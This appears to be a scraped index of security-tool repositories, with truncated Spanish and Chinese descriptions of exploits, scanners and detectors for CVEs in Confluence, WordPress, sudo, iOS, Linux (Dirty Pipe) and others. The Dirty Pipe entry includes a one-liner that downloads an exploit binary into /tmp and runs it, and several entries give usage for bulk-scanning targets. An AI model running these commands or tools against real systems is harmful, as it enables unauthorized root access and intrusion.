confusploit

Este script encuentra servidores vulnerables a CVE-2022-26134 y puede usarse junto con SHODAN CLI y Bash Scripting One-Liner Úselo solo con fines legales y educativos Ejecución remota de código sin autenticación previa en Confluence mediante inyección OGNL CVE-2022-26134 El 2 de junio de 2022,...

aquos-r6-ghostlock

AQUOS R6 GhostLock root temporal Port específico del dispositivo de Linux 5.4 de GhostLock CVE-2026-43499 para el Sharp AQUOS R6. El objetivo validado es el SoftBank A101SH Judau ejecutando Android 11 build S0029 / 01.00.06, kernel 5.4.61-qgki. El objetivo ghostlock54 obtiene UID/GID 0 reales,...

CVE-2022-21661

WordPress CVE-2022-21661 扫描器 用法 root@kitploit: python wordpressscanner.py -H -p -ssl -proxy -path 帮助 root@kitploit: WordPress Scanner for CVE-2022-21661 options: -h, --help show this help message and exit -H HOST, --host HOST Host or IP address -p PORT, --port PORT Port number -ssl, --sslsupport...

CVE-2024-29973

有一天，我看到了这个关于CVE-2024-29973的仓库。但在我的测试之后，脚本可以执行但不工作。所以我做了一个小改动，现在可以非常顺畅地使用了！ 感谢它！ https://github.com/bigb0x/CVE-2024-29973 扫描单个目标： python CVE-2024-29973.py -u target 批量扫描多个目标的IP地址： python CVE-2024-29973.py -f targets.txt...

bro-shellshock

Detector de ShellShock para Bro Este script detecta la explotación exitosa de la vulnerabilidad de Bash con CVE-2014-6271, apodada "ShellShock". Es más completo que la mayoría de las detecciones existentes, ya que observa el comportamiento del host atacado que podría indicar un compromiso exitoso...

CVE-2023-24078

CVE-2023-24078 针对FuguHub / BarracudaDrive的CVE-2023-24078 https://github.com/overgrowncarrot1/CVE-2023-24078./assets/78485709/5385a824-8000-4731-8d30-dc6ef27b0dd2...

jailbreak-iOS12

Jailbreak para iOS 12 Jailbreak para iOS 12.0 y 12.1.2 con CVE-2019-6225 Un Jailbreak incompleto para iOS 12. Por ahora solo ejecuta el exploit, obtiene tfp0, obtiene ROOT, escapa del SandBox, escribe un archivo de prueba para demostrar que se escapó del sandbox y luego reinicia el SpringBoard...

burp-alfresco-referer-proxy-cve-2014-9301

burp-alfresco-referer-proxy-cve-2014-9301...

CVE-2023-0297

CVE-2023-0297 https://github.com/overgrowncarrot1/CVE-2023-0297/assets/78485709/745d599b-b316-45c6-ae0f-4a720c276844...

CVE-2022-0847-Dirty-Pipe

单行漏洞利用 CVE-2022-0847 root@kitploit: curl,-s,-k,https://raw.githubusercontent.com/carlosevieira/Dirty-Pipe/main/exploit-static,-o,/tmp/exploit-dirty-pipe;chmod,+x,/tmp/exploit-dirty-pipe;/tmp/exploit-dirty-pipe...

CVE-2025-27363

此存储库没有 README。...

cve-2023-37635

CVE-2023-37635 - 漏洞利用指南 安装与设置 1️⃣ 安装依赖 root@kitploit: pip install -r requirements.txt 2️⃣ 运行漏洞利用 使用代理： root@kitploit: python brutForc.py 不使用代理： root@kitploit: python brutForc.py -n 注意事项： 将 替换为目标 URL。 -n 标志将禁用代理。 ⚠️ 免责声明 ：此脚本仅供教育和授权安全测试之用。未经授权的使用是非法的。...

CVE-2026-81899

creationtimestamp| type| source ---|---|--- 2026-09-15 19:29:36+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/gmhvygrxjesmj 2026-09-16 06:20:06+00:00| seen| https://bsky.app/profile/stackflag.bsky.social/post/3mvmioblaxp2r...

internet-of-vulnerable-things

易受攻击的物联网 这是我关于 易受攻击的物联网 主题的学期论文成果。 摘要 本文通过破解一个典型的物联网设备，实际演示了物联网的安全性有多差。在TP-Link路由器TL-WR902AC中发现了多个漏洞，其中包括一个允许经过身份验证的攻击者在所有当前TP-Link路由器上启动根shell，使其完全受攻击者控制的漏洞。相关的CVE-2022-48194评分8.8。本文介绍了该漏洞的发现过程以及利用方法。基于这些发现及其他案例，我们得出结论：由于物联网的强劲增长，如果没有更严格的法律监管，被黑客入侵的物联网设备所带来的风险将持续增加。 披露时间线...

CVE-2024-10220-demo

此存储库没有 README。...

CVE-2026-57442

creationtimestamp| type| source ---|---|--- 2026-09-15 19:23:29+00:00| seen| https://bsky.app/profile/cve.skyfleet.blue/post/35a6gjzikjqml...

CVE-2022-26809-RCE

CVE-2022-26809-RCE CVE-2022-26809-RCE https://satoshidisk.com/pay/CFGspB...

puma_header_normalization-CVE-2024-45614

Puma Header normalization CVE-2024-45614 确认 advisory: https://github.com/puma/puma/security/advisories/GHSA-9hf4-67fc-4vf4 修复提交: https://github.com/puma/puma/commit/cac3fd18cf29ed43719ff5d52d9cfec215f0a043 结果 request.rb 的执行结果 duplicate 目标| 结果 ---|--- pumabeforefixrack2| XFORWARDEDFOR: 2.2.2.2...

cve-2022-32224-rails

CVE-2022-3222 ActiveRecord 序列化 行为验证 https://discuss.rubyonrails.org/t/cve-2022-32224-possible-rce-escalation-bug-with-serialized-columns-in-active-record/81017 https://api.rubyonrails.org/classes/ActiveRecord/AttributeMethods/Serialization/ClassMethods.html https://github.com/rails/rails/pull/455...

CVE-2021-3156

CVE-2021-3156 PoC 简介 这是针对 CVE-2021-3156 sudo 漏洞的利用程序（被 Qualys 称为 Baron Samedit）。 使用方法 构建： root@kitploit: $ make 列出目标： root@kitploit: $ ./sudo-hax-me-a-sandwich 运行： root@kitploit: $ ./sudo-hax-me-a-sandwich 手动模式： root@kitploit: $ ./sudo-hax-me-a-sandwich 暴力破解目标查找（实验性） 确保已安装 GNU parallel。...